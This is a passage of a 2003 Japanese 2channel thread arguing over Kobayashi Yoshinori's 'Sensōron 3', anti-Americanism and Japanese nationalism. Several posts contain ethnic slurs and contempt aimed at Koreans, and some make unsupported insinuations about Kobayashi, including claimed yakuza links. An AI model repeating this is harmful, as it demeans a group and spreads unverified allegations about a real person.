397 :名無しかましてよかですか?:03/07/29 22:54 ID:IyQUkHXk








            S A G A 佐 賀 ! !




398 :_:03/07/29 23:00 ID:fBUkanRb
http://homepage.mac.com/hiroyuki44/hankaku09.html

399 :名無しかましてよかですか?:03/07/29 23:03 ID:rPsHk0jk
ブサヨも見てるの?

400 :名無しかましてよかですか?:03/07/29 23:06 ID:pURt+ueu
戦争論1と2を持ってて、2以降よしりんから遠ざかった俺は、3を買うべきなのかどうか。
はてさて、どうしたもんかの。

401 ::03/07/29 23:12 ID:sASuUEgK
>>400
オークションに出したるぞ.
半額で売ったろ.

402 :コヴァソゲリオソ:03/07/29 23:19 ID:CEMfID4c
>>368
>>長期的なスパンから見て、「ならず者」を地でいく今のアメリカが、最終的な勝利者たりうるとお思いか?

>だ か ら、その時点でアメを放置すればいい。日本はそんな例を戦国時代に一杯持ってるじゃないか。
>なんで何時来るかわからない時の対応を、今しなきゃならないんだ?
>離合集散は、古代中国から近代ヨーロッパまで国際間の常態だ。

「その時点」とやらで「アメを放置」できるだけの気力・信念を国民に涵養していくのが小林氏の目的だと思われる。
「何時来るかわからない時の対応を、今しなきゃならないんだ?」というのは安全保障を議論する者の台詞ではない。
「治にいて乱を忘れず」というのは、国政に携わる「エリート(良い意味での選良)」に必須の心構え。

>>戦争をやるからには、それ相応の大義が必要で、あなたも「アメの自己中」と評したように、
>>アメリカの大義とやらは明らかにインチキ極まりないものだ。

>ところが、その自己中が力をもっているんだよ。信長も秀吉も家康もナポレオンも始皇帝も全部自己中。
>道徳的に戦った国がどこにあるんだ?

わたしゃ>>344
「もはや、何が何でも「勝てば官軍」という時代は終わった(完全に終わったというわけでは無論ない)」
と言ったんですがね。今は戦国時代でもなければナポレオンの時代でもないし、ましてや古代でもない。
いかにブッシュと言えども、「敵を皆殺しにしろ!」とは公言できないし、無差別爆撃もできない。
裏ではどうかわからないが、堂々とジュネーヴ協定を破って捕虜を拷問することもできない。
お分かりか?「自己中」が「道徳」に縛られているのが。
(続く)

403 :コヴァソゲリオソ:03/07/29 23:20 ID:CEMfID4c
(続き)
>>そう遠くない未来において、
>>あなたの言う「白人の一方の側」のみならず、自国の民主党からも訴追される可能性がある。

>ナンセンスだ。アメが自己を訴追するはずはない。

彼の国にも権力闘争はあります。カーターに対するレーガンの悪口雑言はジョークとして笑える。

>>翻すと、これはアメリカを失墜させるチャンスでもある。
>>だが、骨抜きにされた「ポチ」では、それを嗅ぎ付けることができない。

>今の時点でこんなことなんか、全然無理だ。妄想の類。ソ連のように崩壊して貰うしかない。

だから、小林氏は戦争論3を著したんだね。

>世界のどこの国もそんなこと考えちゃいない。

何故そんなことを断言できるのかがわからない。

>>再度言いますが、そうした確固たる「独立の信念」を日本人に涵養するために、
>>小林氏は戦争論3を著したのだと思われます。

>その気持ちが無いとは言わないが、現状の彼は単なる反米屋、親中、親韓、親北(このあたりも理由不明で怪しい)、
>おかしなスタンスを取っている。どういうわけで、拉致家族会を非難するのか、何考えてんだろ。

は?
「反米屋」はまだ頷けるが、他の全ては濡れ衣のような気がする。

404 :名無しかましてよかですか?:03/07/29 23:25 ID:jx5H0MEo
安全保障をマジメに考えなくても保守ぶってられるんだね〜

405 :名無しかましてよかですか?:03/07/29 23:26 ID:IyQUkHXk
犬が必死になってもいみねー

406 :嫌韓勇士 ◆quM58wnvXA :03/07/29 23:32 ID:MolQSnaG
>>小林氏の目的だと思われる。
大きなお世話と言う言葉が似合うな。
世間一般のイメージじゃ、
小林=ウヨ
程度なんだよ。それ以前に名前を知ってるかさえ謎だが。
その程度の認知しかされて無い奴が「国民の意識を変える」?
アホか。

407 :名無しかましてよかですか?:03/07/29 23:37 ID:yopZo4jH
小林よしのりは過去の侵略戦争を聖戦などと言い

若者に危険なナショナリズムを吹聴する

軍国主義復活に躍起なウルトラ右翼にすぎません

408 :名無しかましてよかですか?:03/07/29 23:37 ID:a+9D6c/Z
俺も>400と同じだ

4章までは立ち読みしたが(かなり勇気がいった・・・普段行かない本屋とはいえ)
まぁ、「戦争論2」ほどの嫌悪感は無かった(けど買わなかった)
読まずに、どうのこうのとはいえ無いので買ってみようかと思います。




3章、皆が言うほど面白くなかったから、買う気無くなったんだけどね。

409 : :03/07/30 00:00 ID:8iu3a8Z3
ってゆーか、反日だろ。

410 :名無しかましてよかですか?:03/07/30 00:18 ID:1KsQVTy3
「平成3年にクエール米副大統領が来日した時に、
加藤紘一氏、山崎拓氏、石川要三氏、瓦力氏と
いう防衛庁長官経験者と小泉の5人がアメリカ
大使館の昼食会に招かれました。クエール副大
統領は『在日米軍の駐留経費を日本側が大幅に
増やすように』と注文をつけてきた。防衛庁長
官を経験した方々は『分かりました』との意向
を見せましたが、小泉だけは『冗談じゃない、
脅しのセリフとは何なんだ』と突っぱねた。ク
エール副大統領は『増やさなかったら在日米軍
を全員撤退させるぞ、困るのは日本だぞ』とさ
らに突っ込みました。それに対して、『困りま
せん。日米安保条約はもちろん大事だが、全部
引き上げてくれたら日本国民はいかに日米安保
が大事かということが身に染みて分かるだろう
し、憲法も含めて国防とはなんぞやということ
も国民が分かる機会になる』と打ち返したので
す。クエール副大統領は驚いて、このやり取り
は一切口外しないことになりました」(小泉氏
の政策秘書・飯島勲氏)

411 :_:03/07/30 00:33 ID:FrE4iqx/
http://homepage.mac.com/hiroyuki44/hankaku09.html

412 :_:03/07/30 00:48 ID:FrE4iqx/
http://homepage.mac.com/hiroyuki44/

413 : :03/07/30 00:54 ID:s8D/BV2D
 キーワードは「疚しさ」

414 :名無しかましてよかですか?:03/07/30 01:19 ID:5kxMvk7t
俺も1、2持ってるが3はまだ買ってない組。しかし値段がなー。
今回は貧乏なのですぐに買えないや。
なんだかんだ言って俺を「中国の旅」の洗脳から解き放ってくれた名著だし
そっから近代史を勉強し始めて日本の価値を確認させてくれたものでも
あるからして、いずれ3も買わねばなるまい。
しかし今さらだけどなんで西尾幹事さんに急に反旗を翻すような態度
取ったのか今でも理解に苦しむな。お互いに認める部分と認めない部分を
折り合い付けてやってくのが人間関係てもんだろう。それと「ポチ」云々で
すぐレッテル貼りすんのもなあ.....。
いきなし牙剥いて敵視してるから訳わかんね。

415 :名無しかましてよかですか?:03/07/30 01:35 ID:p0Jn8oj4
>>414
小林の戦争論で、初めて文革賛美の洗脳が解けた てのも、相当問題あると思うな(大笑





416 :日大商4年:03/07/30 01:52 ID:v69mnH4s
今テレビで田原が小泉のことを100年に1度の政治家だと言っていた。


417 :征露丸:03/07/30 02:00 ID:jvXJl2GZ
>>416
以前、朝生の冒頭で「田中真紀子は天才だ」とも言ってたなぁ。
田原の言うことは当てにならないよね。



418 :名無しかましてよかですか?:03/07/30 02:06 ID:fz8Z9fAS
どう考えてもこの本は歪んでる。
戦争論1でも、欧米のアジアアフリカ侵略、日本包囲を書いていたわけだが、
今回、さらにそれをどぎつく書き加えた上で(事実でだと認めるとしても)、
そこれに「対する批判をアメリカだけに集中させようとしている。
そういった歴史は勿論アメだけのせいではない。
そしてその自らの立地点を支えるために、特攻隊を持ち出しているように見える。
特攻隊を道具にしているのではないか?
戦争論1に感じられる純粋さが無い。

また、13章、14章には、細かい所だが、妙な省略というか、歪曲のような部分がある。

>>402
言っていることは分かるが、小林がそのように考えているとは思えない。
彼のイラク戦争に対するスタンスは、朝日、ニュー捨て、田岡のラインとほぼ重なり合っていたと思う。
彼の主張は、精神的な自立を促すなどというレベルではなく、政策レベルで反米を言っているようにみえた。
あの時点で(3月頃)、あのように考えるとは、自然なものとは思えない。
何らかの「注射」が打たれたのではないか? 

それから、なぜ、彼は拉致家族会などを批判するのだろうか?
拉致被害者はまさに、彼の表面上の主張のような、歴史的な安定を誇る日本の伝統社会に帰ることを望んだのであって、
彼の主張の生きた見本ではないのか。


419 :_:03/07/30 02:07 ID:FrE4iqx/
http://homepage.mac.com/hiroyuki44/

420 :名無しかましてよかですか?:03/07/30 02:23 ID:+tGzOYow
>>414
今の小林は三部作の後のホンカツ状態だから読むのは
やめといた方がいいぞ。少なくとも、ホンカツの与太話を
本気で信じてしまうような人なら、小林のデマを鵜呑みに
する危険性が高い。同じ金を出すんだったら、もっと
まともな歴史書でも買うことをお勧めしておく。小林の
本よりもマシな歴史書は腐るほどある。

今の小林を理解するためには、小林が師匠と崇める
西部邁が姜尚中・田原総一朗と一緒に出した「愛国心」と
エセ右翼一水会の過去の主張を調べておくことだな。
「愛国心」における西部の支離滅裂な主張は、マス板の
スレッドの初めのほうにも載っている。
http://society.2ch.net/test/read.cgi/mass/1059318102/l50

421 :コヴァソゲリオソ:03/07/30 02:37 ID:CP0z06cn
>>418
>彼のイラク戦争に対するスタンスは、朝日、ニュー捨て、田岡のラインとほぼ重なり合っていたと思う。
>彼の主張は、精神的な自立を促すなどというレベルではなく、政策レベルで反米を言っているようにみえた。

そうでつね。
「アメリカと距離をおくべきだ」と言うときは、政策論的な意味合いも
確かにあるでしょう。

ま、結局、「日本の政治の現状では米に追随するしかないだろう」と、
半ば諦観気味に容認しているのでつが。

>あの時点で(3月頃)、あのように考えるとは、自然なものとは思えない。
>何らかの「注射」が打たれたのではないか? 

勘ぐりすぎですな(w
いくら自分と意見が激しく違うからといったって、そりゃないでしょ。

>それから、なぜ、彼は拉致家族会などを批判するのだろうか?
>拉致被害者はまさに、彼の表面上の主張のような、歴史的な安定を誇る日本の伝統社会に帰ることを望んだのであって、
>彼の主張の生きた見本ではないのか。

小林氏が拉致家族会などを批判したなどということは、寡聞にして知りません。
「拉致はテロではない。非道な犯罪だ」とは言ってましたが。

「テロ」というのは人民をビビらせて恐怖でコントロールするのが目的ですから、
長年秘されてきた「拉致」には恐怖で日本人をコントロールするなどという発想があるはずもなく、
単なる(と言ったら語弊があるかも知れませんが)「憎むべき犯罪」なのだ、と。

でも、そうした文脈でも拉致家族会については同情的でしたがね。
「今の日本の政治の現状では、アメリカに『テロ』と認定してもらい、
救出を要請するしかないのだろう」と。
いずれにせよ、「批判した」というのはデマゴギーの類ではないかと。

422 :_:03/07/30 02:39 ID:FrE4iqx/
http://homepage.mac.com/hiroyuki44/

423 :ななし:03/07/30 02:39 ID:SqN/c+in
結局コバも小林もビンラディンも
本気で原爆でやられた日本人に対して思ってるとは思えねえな。
反米の肥やしとして利用してるとしか思えねえ。
朝鮮人みたいにうじうじ過去をあげつらって(利用して)思考停止。
こいつらに共通するのは
韓国は反米プラス北朝鮮マンセーで思考停止
コバは反米プラスイスラム原理主義マンセーで思考停止
結局お前らは精神構造がにてるんだよ。

またこういうこというと「ソースは?いつ?君」がでてきそうだな(w
じゃ、寝るわ



424 :名無しかましてよかですか?:03/07/30 02:55 ID:8iRabrmi
わかっとらんなポチめ。
小林先生は中共や金正日などよりはるかに邪悪なアメリカの本性を見抜いておるのだ。
北朝鮮の日本人拉致?核開発?そんなものは日本をアジアから孤立させるアメリカの情報操作にきまっておろうが親米ポチども。

425 :コヴァソゲリオソ:03/07/30 03:43 ID:CP0z06cn
ちょいと言葉が足りなかったから、補足。
>>421
>「アメリカと距離をおくべきだ」と言うときは、政策論的な意味合いも
>確かにあるでしょう。

「理念」を実現するための手段が「政策」である。
それゆえ、「理念」とは、言うなれば「政策」を行うに当たっての動機であり、
「理念」を語るということは、「政策」への第一歩を示すことに他ならないのである。

また、蛇足ながら、小林氏が戦争論3で示した「伝統」というものは、
「日本の真の独立」という「理念」を導く「道徳」のことである。
「理念」を導くものには「道徳」の他に、「宗教」や「イデオロギー」などがある。
「世界中に自由と民主を!」という理念を導くのが、
「近代主義(アメリカニズムと言い換えても可)」という「イデオロギー」であるように。

小林氏の主張に戻れば、
「伝統」を受け継ぎ、日本の国柄や風土に愛着を持つことこそが、
「日本の真の独立」の第一歩というわけですな。

戦争論3のエッセンスは、まさにそこにあるわけです。

426 :名無しかましてよかですか?:03/07/30 07:14 ID:noH2TwQf
モラルハザードとでも言うのか…
近頃あまりにも恥知らずなやからが大杉なのではあるまいか

戦争に一回くらい負けたからって、今まで二千年くらいこの土地
でなんとかやってこれたんだから、卑屈になる必要もないと思う

っつ〜か、悪逆非道の限りをつくした、犯罪者や喰い詰め浮浪者
の作った国が未だにジャイアンしまくってて、今後更に酷くなり
そうな悪寒

この前提は、ここに来てる香具師らの共通認識に近いんではない
かと感じてるんだが…どうよ?そのへん

一応ひととおり3読んでみたが、トンデモ臭い描写も見受けられ
る(まぁデフォルメと言える範囲ではあるが)んで鵜呑み・小林
マンセーになるつもりもないが、厨房あたりまでに俺らが受けて
来た教育では、自分ら(国)の過去があまりに酷すぎで、自信な
んか持ってはいけないような気分にさえさせられたのも事実なワ
ケで、大半の人間はそのまま歴史そのものに興味が失せてしまっ
たりするのが現実

そういう意味では、漫画という手法で興味を喚起するキッカケと
なるにはマズマズなんではないかと思える

427 : :03/07/30 07:17 ID:ViuIfJK1
時代を戻してどうすると思うけど。
負けたんだから、賛美出来ない。
やるんだったら次は勝ってね。

428 :.:03/07/30 08:23 ID:TFxJKwNB
「戦争論3」は「1」「2」と比べて地味な感じがした分
真っ当な左右思想家の方々には好評な中身なのかも。
又、「3」は「1」「2」と比べ「大東亜戦争肯定論」を説得させるのに
アングロサクソンの非道を持って来て説明してる為納得はし易い。

沖縄の下りは「流石奇形左翼の天晴れな残酷ぶり」を暴露していた。昔から嘘つきまくってたんだな。
ただ、小林よしのりが「反米=アメリカ人嫌い=白人嫌い」なのか否かは分からなかった。
アメリカや白人世界の歴史全てが悪に彩られているとは思えないし。
もしそうだとすると、小林よしのりの思想は根の部分で奇形左翼思想と繋がってる。
奇形左翼は「日本軍(日本人もしくは日本)は残酷な犯罪を犯した」と喧伝してるけど
それと変わらなくなる。主張が「反日」か「反米」かってだけでベクトルパワーは変わらない。

全体的には「日本の伝統を守ろう」で終わってる分、将来に希望を含ませてるから良著と思う。

429 :ポチじゃねえぞゴルァ:03/07/30 08:27 ID:9CZCRsjQ
伝統云々言う前に、まずは欧米文化を中華文化並みにしっかりと吸収・
定着させることが重要だ。
現時点で伝統というと、どうしても東洋的な色彩が強くなってしまい、
偏狭・引きこもり的で発展性がなく、欧米大好きっ子はどんどん離れて
行ってしまう。
明治・大正期はわりとうまく欧米文化を吸収していたが、戦中に排除傾向
が出て東洋引きこもり的になり、戦後もそれを引きずってどうもギクシャク
感は否めない。
したがって、まずは英字を徹底的に用いてアメリカ文化を始めとする欧米
文化をとことん吸収し、自分達の血や肉とする。古代の中国に対する日本
よろしく。英語をかつての漢文のような位置付けにし、第二外国語っぽく
も扱うべきだ。少し知的な人間なら普通に扱えるぐらいの状態にね。
そうして東洋と西洋を織り込んだ上で伝統という言葉を使えば、今よりも
はるかに魅力的で力強い響きになるだろう。
小林+コバに言わせれば、日本の伝統や精神は東洋や西洋なんて超越した
ものであり、どんな文化が入ってきても日本式に造り替えていくんだろ?
なら無問題じゃないか。欧米大好きっ子票を獲得するためにも是非そう
してくれ。俺もそうなれば伝統主義者になってもいいぞ。

430 :名無しかましてよかですか?:03/07/30 08:28 ID:6HvxkcEO
三つの宗教は、唯一の神をいだくアブラハムの子らに、
七つの海は、大航海の大英帝国の女王に、
九条は、死すべき運命のサヨクの子に、
一つの半島は、暗き猫車の鮮人のため、
影横たわる2つの朝鮮の国に。
一つの半島は、すべてを統べ、
一つの半島は、すべてを見つけ、
一つの半島は、すべてを捕らえて、
捏造のなかにつなぎとめる。
影横たわる2つの朝鮮の国に。


431 :名無しかましてよかですか?:03/07/30 08:29 ID:6HvxkcEO
>>424
コヴァは自分で考えろといってるだけだ。



432 :名無しかましてよかですか?:03/07/30 10:06 ID:D2iJqQmQ
冷戦後の世界ではもはや国家間の連帯は無用になり、
"強い"米国が単独で新世界の秩序を建設する。
現在の欧州が国際協調や多国間主義を呑気に唱えていられるのは
アメリカの他を圧倒する強大な軍事力に守られているからに過ぎない。
そのような「弱者」との連帯など無用だ。
我が日本はアメリカ合衆国による「自由の帝国」の建設に
全力で献身すべき。
結果的にそれが日本人の生存と繁栄を担保することになる。

433 :嫌韓勇士 ◆quM58wnvXA :03/07/30 10:07 ID:lQqiS+Vp
>>424
頭弱そうだね。

434 :  :03/07/30 10:33 ID:zG2w6CWZ
>>428
反米と嫌米は同じではない。小林のスタンスはあくまでも反米であり
世界史の大きな流れの中で捉えた場合、これが正しい認識だと主張している。
それを相対的に見てコインの裏表みたいなことを言ってもしょうがない。
要は、その見方に賛同するか違うと思うあるいはどっちでもない別の見方があるとするかだ。
また、過激な表現になってるのは確かだが、白人の歴史がすべて悪という
内容ではなかったと思う。

435 :_:03/07/30 10:35 ID:LeaOYqYo
http://homepage.mac.com/hiroyuki44/2ch.html

436 :嫌韓勇士 ◆quM58wnvXA :03/07/30 10:43 ID:lQqiS+Vp
>>434
嫌米だろ。
「アメリカ人エリートはゴルフをする時いつもズルをする」
なんて言ってるんだから。

437 :名無しかましてよかですか?:03/07/30 10:51 ID:K/1VGOPE
アメリカという国の国家制度が嫌いなんじゃなくて、
「アメリカ人」という混成民族自体が嫌いなんだろ。

438 :名無しかましてよかですか?:03/07/30 10:57 ID:9zXEHCXI
>>436
3の242pの通りなんじゃない?
持ってるならご確認を。

439 :名無しかましてよかですか?:03/07/30 11:07 ID:yGak1Fe+
>>428
>ただ、小林よしのりが「反米=アメリカ人嫌い=白人嫌い」なのか否かは分からなかった。
>アメリカや白人世界の歴史全てが悪に彩られているとは思えないし。
>もしそうだとすると、小林よしのりの思想は根の部分で奇形左翼思想と繋がってる。
>奇形左翼は「日本軍(日本人もしくは日本)は残酷な犯罪を犯した」と喧伝してるけど
>それと変わらなくなる。主張が「反日」か「反米」かってだけでベクトルパワーは変わらない。

そりゃそうだよ。小林の反米の根っこには、小さい頃に
毎日読んでスクラップしていた武装闘争路線時代の
赤旗の記事があるわけだから。西部も同じだけど。
共産党の戦前全否定史観が戦前全肯定史観に
置き換わっただけだし。

440 :名無しかましてよかですか?:03/07/30 11:57 ID:hKEOMImk
「どうせ人間なんて国家・民族・宗教を越えた普遍的な思想・作法を
共有なんてできっこないんだ。それを無理やりしようとしているアメリカ
は嫌いだ。」という小林的な怠惰な開き直り・諦観はアメリカの果敢で崇高
な挑戦に比べて極めて子供じみてるね。
アメリカがその軍事力と経済力と民主・自由主義という思想で以って世界を
引っ張ってこなかったら世界はどうなってたと思うんだ?相変わらずの
無秩序で分裂した世界が広がっているだけだ。アメリカは世界をその混沌
から一定の秩序の下に束ねようと努力してるんだよ。伝統の尊重だって
自由主義の下、充分認められてるじゃないか?パックスアメリカーナの下で
繁栄し、言論の自由を保障されてる日本の現状に甘え、それを無視した
言動を繰り返す小林は反抗期の厨房と変わらない。確かにアメリカも汚い
ところはたくさんあるが、それは言論の自由の下、粛々と主張していけ
ばいい。韓国の反米民族主義の風潮に乗っかって汚い商売してんじゃ
ないよ。
戦争論3の最後で「日本の道徳が国際社会の『調停』に役立つ時が来る」
と述べているが、「先導」ではなく、「調停」としか言えない小林にアメリカを
批判する資格はない。その程度の主体性が無い受身の結論で濁すしかない
なら端から民主・自由主義を批判するな。
小林! お前に少しでも人類愛というものがあるのなら、民主・自由主義
という名の下に秩序を獲得した世界と、民族・伝統主義が乱立して収拾
がつかない世界、どちらが人類のためになるかよ〜く考えてみろ。
お前の主張する日本じゃ絶対にアメリカを超えられないし、アメリカよりも尊敬
される国にはなれない。

441 :414:03/07/30 12:21 ID:QhOL1lb5
えーと、今日買っちゃった。二章まで読んだけど意外とマトモだね。
一時期見られた異常なまでの反米姿勢は感じられなかった。麻痺してんの
かな俺。p31左下の二コマって渡部昇一でしょ?今度は渡部さんと喧嘩?
途中までしか読んでない俺だが少し言うと、これからの時代俺等の代って
風当たりきびしくなりそうだね...。
自分の国を自分で守るつーのは当然だが、勧告みたいに徴兵制になれば
徴兵制をまぬがれた俺等の代は完全に軽蔑されそう...。
これから日本を再生しようと努力する人間達が結果、自分達が見下される
世の中を作るハメになるとは..でもやらんとしょうがないんだろうけどね。
でもやっぱ馬鹿にされそうだなー「軟弱の世代」と「九条世代」とか
言われてさー。

442 :名無しかましてよかですか?:03/07/30 12:55 ID:oZMgnit/
今の日本てかつて日本に併合された当時の韓国の一歩手前みたいな状態
だな。国民の大多数はちまちましてて自分達だけで国を守る気概が無く、
アメリカに依存しっぱなし、今にほんとに一進会みたいな勢力が出てきて
「アメリカの一部になる以外我々が生き残る道はない」なんて言い出したり
して・・・
そうなったら小林一派は抗米パルチザンとしてとことん戦うんだろうなぁ。
未来のキムイルソンだな。
そして日本は米国に一時併合され、再び独立を勝ち取るが、日本人は異常に
偏狭な民族主義で束ねられた連中になっていて、同胞同胞と口走りながら
ヒステリックに歴史の捏造と他国への集団クレームを繰り返していく・・・
今の韓国人は未来の日本人の姿かもしれない・・・
・・・こんなんでましたけど、いかがでしょう?

443 :名無しかましてよかですか?:03/07/30 13:14 ID:4PVa9ama
そこまで堕ちたくねぇなあ・・・冗談じゃない。

444 :名無しかましてよかですか?:03/07/30 13:32 ID:xzOCtMej
>>424
リアル工作員でつか?

445 :名無しかましてよかですか?:03/07/30 14:00 ID:VoiP4zJi
>>442
いますぐ北チョソに逝ってキム豚と一緒に恨米やったら?(w
藻前の妄想通りに逝けば将来藻前の経験は高く買われるぞ(www

446 :名無しかましてよかですか?:03/07/30 14:08 ID:SKreIOx+
>445
あ、衣食住と好きな時に帰国が保証されるなら俺行ってみたいな、マジで。
すごい特殊な経験になるし。

447 :名無しかましてよかですか?:03/07/30 14:24 ID:5UNwG40w
いつ頃、ブックオフに並びますか?

448 :名無しかましてよかですか?:03/07/30 14:57 ID:b7ehs2p+
まあコヴァがなんとほざこうが
民主主義、自由主義>>>>>>>>>>>>>>>日本の道徳
は絶対的な真理なわけだが…。
これはもはや定説ですよ。君達頭を取りなさい。そうすれば分かるよう
になります。

449 :名無しかましてよかですか?:03/07/30 15:01 ID:v7+o9Xa4
>>448
つまらん釣りやね

450 :名無しかましてよかですか?:03/07/30 15:03 ID:oB68y+O2
犬が多くなってるな(w

451 :名無しかましてよかですか?:03/07/30 15:29 ID:apCs331N
15万の南京虐殺を隠蔽する小林はクソウヨ

452 :名無しかましてよかですか?:03/07/30 15:48 ID:xBDw3bDy
まあコヴァがなんとほざこうが

民主主義、自由主義>>>>>>>>>>>>>>>日本の道徳、伝統
黒人のポコチン>>白人のポコチン>>>>>>>>>日本人のティムポ
アメリカのロック、ヒップホップ、R&B>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>モー娘。 ジャニーズ
ハリウッド映画・アニメーション>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>日本の慣れ合いクソ映画・オタク萌えのクソアニメ

は絶対的な真理なわけだが…。

453 :名無しかましてよかですか?:03/07/30 15:52 ID:v7+o9Xa4
頑張った割にはつまらんね。

454 :名無しかましてよかですか?:03/07/30 16:04 ID:TI0LFuXb
>>452
う〜ん、ここまで劣勢だと何が何でも伝統に閉じこもるしかない罠。
まともにやっちゃ勝てないもんな。 よしりんの心情汲んで余りある。
1億総ヒッキー化計画発動!! 鎖国しろ〜〜〜〜!!!!!!

455 :名無しかましてよかですか?:03/07/30 16:11 ID:vKv9SOBm
>>449 453

コ ヴァ 必 死 だ な ! !
「つまらんね。」........(プ

456 :名無しかましてよかですか?:03/07/30 16:20 ID:v7+o9Xa4
だってつまんねーんだもん

457 :名無しかましてよかですか?:03/07/30 16:27 ID:ZrUuPqtm
>>452
確かに大衆文化の質では日本は遠くアメリカに及ばないな。それは
認めざるを得ん。この程度の文化しか生み出せない伝統なら正直いらね。

458 :名無しかましてよかですか?:03/07/30 16:34 ID:ivu+SwWz
>>452
出た! 絶対的真理!

459 :名無しちゃん:03/07/30 16:36 ID:jHZ4wZL/
稲川会系ヤクザと関係がある右翼団 「大行社」が発行している雑誌「大吼」に
、高千穂大学の名越二荒之助や青山学院の佐藤和男などの名前が掲載されていた。
保守論壇で活躍している八木秀次は高崎経済大学の教授。この高崎経済大学の
学長は三猪信吾であると同時に大行社の顧問をしている。小林よしのりは稲川会と関係があるのか?

460 :キウユダエウ氏:03/07/30 16:54 ID:rB9U3zRc
 戦争論で2chの世論はどうなったかといえば、少ししか効果はなかったと言うべき
だろう。小林を完全に支持してる人も戦争論3前に比べれば、0,1%から1%に増えた
にすぎないし、同情すると言った意見も一割を大きくしたまわるだろう。
 所詮、マンギョンボン号騒動もアメリカ発だから、捏造されているものに過ぎんとか
言う小林だから、彼の反米も感情的でしかないのだろうか。
 八木さんは小林のことをどう思ってるんだろう。それを知りたい。
 小林はどう見ても右翼。

461 :名無しかましてよかですか?:03/07/30 17:49 ID:xn60qoJp
テロの先物取引市場がアメリカにできるんだってさ… やっぱおかしいよ、アメリカは。

462 :名無しかましてよかですか?:03/07/30 17:55 ID:s6NYOmLm
すでにwinnyで流れているわけですが・・
スキャンしたのは信者?
それとも売上減を狙うサヨorポチ?

463 :名無しかましてよかですか?:03/07/30 17:57 ID:kxqM/PoK
狩猟民族を罵りながらステーキをほおばり、白人を罵りながら白人学者
の言葉の引用で権威付けをするというよしりんの相変わらずのギャグ
っぷりに大いに笑わせてもらった。彼は根っからのギャグ漫画家だね。

言うまでもないが、日本とアメリカ、どちらが人類に貢献しているかと
言えば、世界中の人間は迷わずアメリカと答えるだろう。アメリカは
民主主義と自由主義を世界に広め、様々な技術革新も世界に先駆けて
行ってきた。このインターネットだってアメリカ発だ。一方で日本は
といえば大東亜戦争が結果として有色人種自立の契機にこそなったが、
それ以外の目立った貢献はしていない。八方美人外交とばら撒きODN
と欧米模倣と富の蓄積しか頭にないふしだらな集団でしかない。
こんな現状を前に反米と伝統主義を叫んで、それが世界のためになると
主張しても、痛々しくてギャグとしても笑えないなぁ。
厨房がまじめに受け取って感化されるといけないから、「この物語は
ギャグです」って断り書きを最後に添えといた方がいいと思うよ。

464 :名無しかましてよかですか?:03/07/30 18:05 ID:s6NYOmLm
アメリカは貢献も大きいが迷惑も大きい
日本はお金だけバラまくから貢献のみ

465 :名無しかましてよかですか?:03/07/30 18:05 ID:1cutcB0I
アダルトDVDが
 最短でご注文いただいた翌日にお届け!
 http://www.dvd-exp.com 開店セール1枚 500円より


466 :名無しかましてよかですか?:03/07/30 18:10 ID:v7+o9Xa4
迷惑が半端じゃない

467 :_:03/07/30 18:10 ID:LeaOYqYo
http://homepage.mac.com/hiroyuki44/

468 :名無しかましてよかですか?:03/07/30 18:14 ID:ETYAn2Qi


>>463


要するにリヴァイアサンに支配された方が人類の為だってことですね。





469 :名無しかましてよかですか?:03/07/30 18:27 ID:JvS+l7QA
  自       し!     _  -── ‐-   、  , -─-、 -‐─_ノ
  分 そ    // ̄> ´  ̄    ̄  `ヽ  Y  ,  ´     )   戦 え
暇 の ん    L_ /                /        ヽ  争  |
大 意 な    / '                '           i  論 マ
学 見 の    /                 /           く!?  ジ
生 を 読    l           ,ィ/!    /    /l/!,l     /厶,
だ 持 む     i   ,.lrH‐|'|     /‐!-Lハ_  l    /-!'|/l   /`'メ、_iヽ
け て の    l  | |_|_|_|/|    / /__!__ |/!トi   i/-- 、 レ!/   / ,-- レ、⌒Y⌒ヽ
だ 無 は   _ゝ|/'/⌒ヽ ヽト、|/ '/ ̄`ヾ 、ヽト、N'/⌒ヾ      ,イ ̄`ヾ,ノ!
よ  い     「  l ′ 「1       /てヽ′| | |  「L!     ' i'ひ}   リ
ね        ヽ  | ヽ__U,      、ヽ シノ ノ! ! |ヽ_、ソ,      ヾシ _ノ _ノ
-┐    ,√   !            ̄   リ l   !  ̄        ̄   7/
  レ'⌒ヽ/ !    |   〈       _人__人ノ_  i  く            //!
人_,、ノL_,iノ!  /! ヽ   r─‐- 、   「      L_ヽ   r─‐- 、   u  ノ/
      /  / lト、 \ ヽ, -‐┤  ノ  キ    了\  ヽ, -‐┤     //
ハ キ  {  /   ヽ,ト、ヽ/!`hノ  )  モ    |/! 「ヽ, `ー /)   _ ‐'
ハ ャ   ヽ/   r-、‐' // / |-‐ く    |     > / / `'//-‐、    /
ハ ハ    > /\\// / /ヽ_  !   イ    (  / / //  / `ァ-‐ '
ハ ハ   / /!   ヽ    レ'/ ノ        >  ' ∠  -‐  ̄ノヽ   /
       {  i l    !    /  フ       /     -‐ / ̄/〉 〈 \ /!


470 :名無しかましてよかですか?:03/07/30 18:33 ID:V5gAQuUe
>>425
>「理念」を実現するための手段が「政策」である。
>それゆえ、「理念」とは、言うなれば「政策」を行うに当たっての動機であり、
>「理念」を語るということは、「政策」への第一歩を示すことに他ならないのである。

いみじくも書かれているように「理念」とは「政策」への「第一歩」に過ぎないのでは。
現実的な「政策」を構築するためには、やはり「現実」をも考えなくてはならないでしょう。

「理念」と「現実」とを何度も見比べながら政策は形作られていく訳で、「現実」の重みとも真摯に向き合う必要があるでしょう。
両者のバランスをいかに取るか、ということこそが肝要だと思われます。
どちからに極端に偏った場合、現実的に受け入れられることはまずありません。

現実の政策形成に携わっている人々が最も苦労しているのは「落し所」を見つける事です。
両者にバランス良く目配りした主張でなければ、現実的に受け入れられる可能性は非常に低くなります。
もちろん、小林氏は官僚でも政治家でもないわけで、具体策を示す責任はないと思います。

戦争論1〜3には現実的な提言は殆ど見受けられないので(少なくとも私は見出す事ができませんでした)、
このシリーズの目的・意義は「理念を語る」という点に尽きていると私は考えます。
もし、小林氏が現実的な提言をしようとしたなら、例えば軍事的問題に触れる必要があったでしょう。

戦争論は「理念」を語る書物に過ぎない(←批判ではないです)のです。
したがって、(もしここまで述べたことが正しいなら)小林氏に
「現実は違うぞ!具体策を出せ!」というのは無いものねだりに過ぎません。

(結論)戦争論シリーズは「理念を語る書」であって、実際の政策形成に与える直接的影響は殆ど無いと思われる。

471 :嫌韓勇士 ◆quM58wnvXA :03/07/30 18:37 ID:lQqiS+Vp
>>470
